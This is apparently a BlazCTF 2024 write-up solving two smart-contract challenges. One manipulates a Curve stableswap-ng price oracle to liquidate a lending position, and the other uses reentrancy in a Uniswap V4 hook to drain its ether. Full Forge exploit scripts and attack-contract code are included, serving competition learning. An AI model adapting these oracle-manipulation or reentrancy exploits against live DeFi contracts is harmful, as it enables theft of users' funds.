pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Script, console} from "forge-std/Script.sol";
import {TonyLend, ICurve} from "../src/TonyLend.sol";
import {Challenge} from "../src/Challenge.sol";

contract exp is Script {

Challenge public challenge = Challenge(0x72998f0cffFe9Bf0fC7465188aCF3c5a8C77B616);
address player = 0x6Fd418eD0a94f11d8678c7Ff72E92947A5a7fEf8;

TonyLend public tonyLend;
ICurve public curvePool;
ERC20 public usde;
ERC20 public usdc;

function setUp() public {
tonyLend = challenge.tonyLend();
usde = challenge.usde();
usdc = challenge.usdc();
curvePool = challenge.curvePool();
}

function run() public {

vm.startBroadcast();

// 1. Claim some usdc and usde token
challenge.claimDust();

usdc.approve(address(tonyLend), type(uint256).max);
usde.approve(address(tonyLend), type(uint256).max);

// 2. Deposit token to the tonyLend
tonyLend.deposit(0, usde.balanceOf(player));
tonyLend.deposit(1, usdc.balanceOf(player));

// 3. Borrow some usde
tonyLend.borrow(0, 20000e18);

// 4. Withdraw usde collateral
tonyLend.withdraw(0, 10000e18);

usde.transfer(address(0xc0ffee), 21926e18);

require(challenge.isSolved(), "Challenge not solved");

vm.stopBroadcast();
}
}

StableSwap-NG Oracles Vulnerability

A specific AMM implementation of stableswap-ng has a bug that can cause the price oracle to change sharply if the tokens within the AMM do not all have the same token decimal precision of 18 or if the tokens use external rates.

For example, the USDe <> USDC pool deployed by the Challenge contract has this issue, as USDe has a precision of 18 and USDC of 6.

The function did not take token precisions into account when updating the oracle in the remove_liquidity_imbalance function.

In the original code, the upkeep_oracles function did not consider token precision when handling balance updates, leading to miscalculated values:

// ### ----- old code (bugged) ----- ###
self.upkeep_oracles(new_balances, amp, D1)

The issue was addressed by incorporating the _xp_mem function, which scales token balanced to a standard precision of 18 decimals using predefined _rates [1e18, 1e30].

// ### ----- new code (bug fixed) ----- ###
self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1)

The _xp_mem function adjusted new_balances by normalizing them to a common precision before passing them to the oracle:

@pure
@internal
def _xp_mem(
_rates: DynArray[uint256, MAX_COINS],
_balances: DynArray[uint256, MAX_COINS]
) -> DynArray[uint256, MAX_COINS]:

result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS])
for i in range(N_COINS_128, bound=MAX_COINS_128):
result.append(unsafe_div(_rates[i] * _balances[i], PRECISION))
return result

Without this fix, the spot_price would be larger than expected, causing the last_prices_packed variable to also inflate.

@internal
def upkeep_oracles(xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256):
"""
@notice Upkeeps price and D oracles.
"""
ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time)
last_prices_packed_current: DynArray[uint256, MAX_COINS] = self.last_prices_packed
last_prices_packed_new: DynArray[uint256, MAX_COINS] = last_prices_packed_current

# spot_price will be larger than expected
spot_price: DynArray[uint256, MAX_COINS] = self._get_p(xp, amp, D)

# -------------------------- Upkeep price oracle -------------------------

for i in range(MAX_COINS):

if i == N_COINS - 1:
break

if spot_price[i] != 0:

# Update packed prices -----------------
last_prices_packed_new[i] = self.pack_2(
min(spot_price[i], 2 * 10**18), # <----- Cap spot value by 2.
self._calc_moving_average(
last_prices_packed_current[i],
self.ma_exp_time,
ma_last_time_unpacked[0], # index 0 is ma_last_time for prices
)
)

self.last_prices_packed = last_prices_packed_new

...

# Housekeeping: Update ma_last_time for p and D oracles ------------------
for i in range(2):
if ma_last_time_unpacked[i] < block.timestamp:
ma_last_time_unpacked[i] = block.timestamp

self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1])

Exploit

The challenge contract deposited 10,000 USDe and 10,000 USDC, then borrowed 18,500 USDC.

// deposit
tonyLend.deposit(0, 1e4 ether);
tonyLend.deposit(1, 1e4 * 1e6);

// borrow usdc
tonyLend.borrow(1, 1.85e4 * 1e6);

The initial healthFactor was 1.081, indicating a collateralized position.

The price_oracle returned an exponential moving-average price oracle of an asset within the AMM with regard to the coin at index 0. In this challenge, it provided the price of USDC relative to USDe.

By using the remove_liquidity_imbalance function to manipulate the oracle price, we could lower the health factor of the position. This resulted in the position becoming undercollateralized, allowing for liquidation.

Solution — 2

function run() public {

vm.startBroadcast();

// 1. Claim some usdc and usde token
challenge.claimDust();

usde.approve(address(curvePool), type(uint256).max);
usdc.approve(address(curvePool), type(uint256).max);

// 2. Add liquidity to the pool
uint256[] memory amounts = new uint256[](2);
amounts[0] = 1e18 * 1;
amounts[1] = 1e6 * 1;
curvePool.add_liquidity(amounts, 0);

// 3. Remove liquidity imbalance
amounts[0] = 1e18 * 1 / 2;
amounts[1] = 1e6 * 1 / 2;
curvePool.remove_liquidity_imbalance(amounts, type(uint256).max);

vm.warp(block.timestamp + 6 minutes);

usdc.approve(address(tonyLend), type(uint256).max);

// 4. Liquidate challenge's position
tonyLend.liquidate(address(challenge), 1, 100e18, 0);

// 5. Deposit USDC and borrow some USDe
tonyLend.deposit(1, usdc.balanceOf(address(player)));
tonyLend.borrow(0, 1927e18);

usde.transfer(address(0xc0ffee), 21926e18);

require(challenge.isSolved(), "Challenge not solved");

vm.stopBroadcast();
}

Tutori4l

In this challenge, both the player and Challenge contracts were initialized with 1 ether, and our objective was to get more than 1.9 ether.

The challenge deployed a PoolManager and a Challenge instance, with the PoolManager being a part of the Uniswap V4 that managed pool states, swapped tokens and provided liquidity. In Uniswap V4, the PoolManager centralized all pool states, rather than storing them in individual pool contracts.

In the challenge contract, HookMinter was used to find a specific address, with flags corresponding to bits in the hook contract’s address. These bits indicated whether certain hooks functions were active.

A PoolKey was created with five variables: currency0, currency1, fee, tickSpacing, and hook. This was a unique identifier for a pool in Uniswap V4.

Next, the challenge contract initialized the hook::lucky_pool and the pool. The PoolManager::initialize function sets the starting price to 79228162514264337593543950336, implying the pool was an ETH:ERC-20 pool with a 1:1 ratio. (For more details about this configuration, please read Q-notation documentation)

At this point, the challenge setup completed.

The Vulnerability

In the Challenge::arbitrary function, there was an ether transfer operation, but we couldn’t directly pass an address a and data bytes to withdraw all ether from the Challenge contract. However, we could craft calldata that invoked the Hook::set_reward function, transferring 1 ether to the Hook contract.

In the Hook contract, which implemented both beforeSwap and afterSwap hook functions.

There was a modifier for reentrancy lock, in_swap, in Hook contract. However, when the Hook::beforeSwap function was entered and Hook::first_reward was triggered, the ether transfer might call the fallback function in the helper contract. Since Hook::unlock was still true, an attacker could re-enter Hook::first_reward recursively by crafting a forged IPoolManager.SwapParams and hookData, eventually draining all ether from the hook.

To summarize, the challenge could be solved by following these steps:

  1. Craft calldata to call the Challenge::arbitrary function, triggering Hook::set_reward and transferring 1 ether to the Hook contract.
  2. Initiate a swap through the pool, triggering Hook::first_reward via the Hook::beforeSwap callback.
  3. The ether transfer in Hook::first_reward triggers the fallback or receive function in the malicious contract.
  4. In the fallback / receive function of the malicious contract, re-enter Hook::first_reward with a forged swap parameter, bypassing validation. Repeat this step until the Hook contract is drained.

Solution

1. Call Hook::set_reward via Challenge::arbitrary:

bytes memory data = abi.encodeWithSignature("set_reward()");
Challenge(payable(challenge)).arbitrary(hook, data);

2. Create a helper contract implementing IUnlockCallback and prepare parameters for the swap:

// Ensure the swap triggers `first_reward` in `Hook::beforeSwap`
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: 1 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});

// Uniswap v4 swap settings
PoolSwapTest.TestSettings memory setting = PoolSwapTest.TestSettings({
takeClaims: false,
settleUsingBurn: false
});

bytes memory hookData = abi.encode(address(this));

// Interact with the PoolManager to start the swap
IPoolManager(poolManager).unlock(
abi.encode(PoolSwapTest.CallbackData(msg.sender, setting, key, params, hookData))
);

The PoolManager would call unlockCallback, where we initiated a swap through the PoolManager::swap function. You can reference the Uniswap v4 swap router implementation for this step.

function unlockCallback(bytes calldata data) external returns (bytes memory) {
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -2 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});

bytes memory hookData = abi.encode(address(this));
IPoolManager(poolManager).swap(key, params, hookData);
return data;
}

3. Invoke Hook::first_reward in Hook::beforeSwap. Pass the attack contract address as hookData, so the following line will execute:

uint256 reward = max_reward < address(this).balance ? max_reward : address(this).balance;
(success,) = recipient.call{value: reward}("");

4. Re-enter Hook::first_reward in the fallback function:

In the helper contract, transfer all tokens to the player first, then re-enter Hook::first_reward with forged parameters:

IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -1001 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});

bytes memory data = abi.encode(address(this));
Hook(hook).first_reward(params, data);

If tokens are not transferred first, the ether will be sent to an uncontrollable address:

if (recipient.balance > 0) {
address origin = address(uint160(tx.origin) / 11);
(success,) = origin.call{value: address(this).balance}("");
}

After completing these steps, we could drain all ether from the Hook contract, reaching a total of 2 ether.

As we reflect on our journey through the BlazCTF 2024, we want to thank Fuzzland for organizing such incredible event. This competition not only tested our skills but also deepened our understanding of the critical vulnerabilities in the Web3 landscape. As we move forward, we remain committed to enhancing our expertise and contributing to a vibrant community focused on security and innovation. Together, we can pave the way for a safer and more resilient Web3 ecosystem. Until next time!

--

--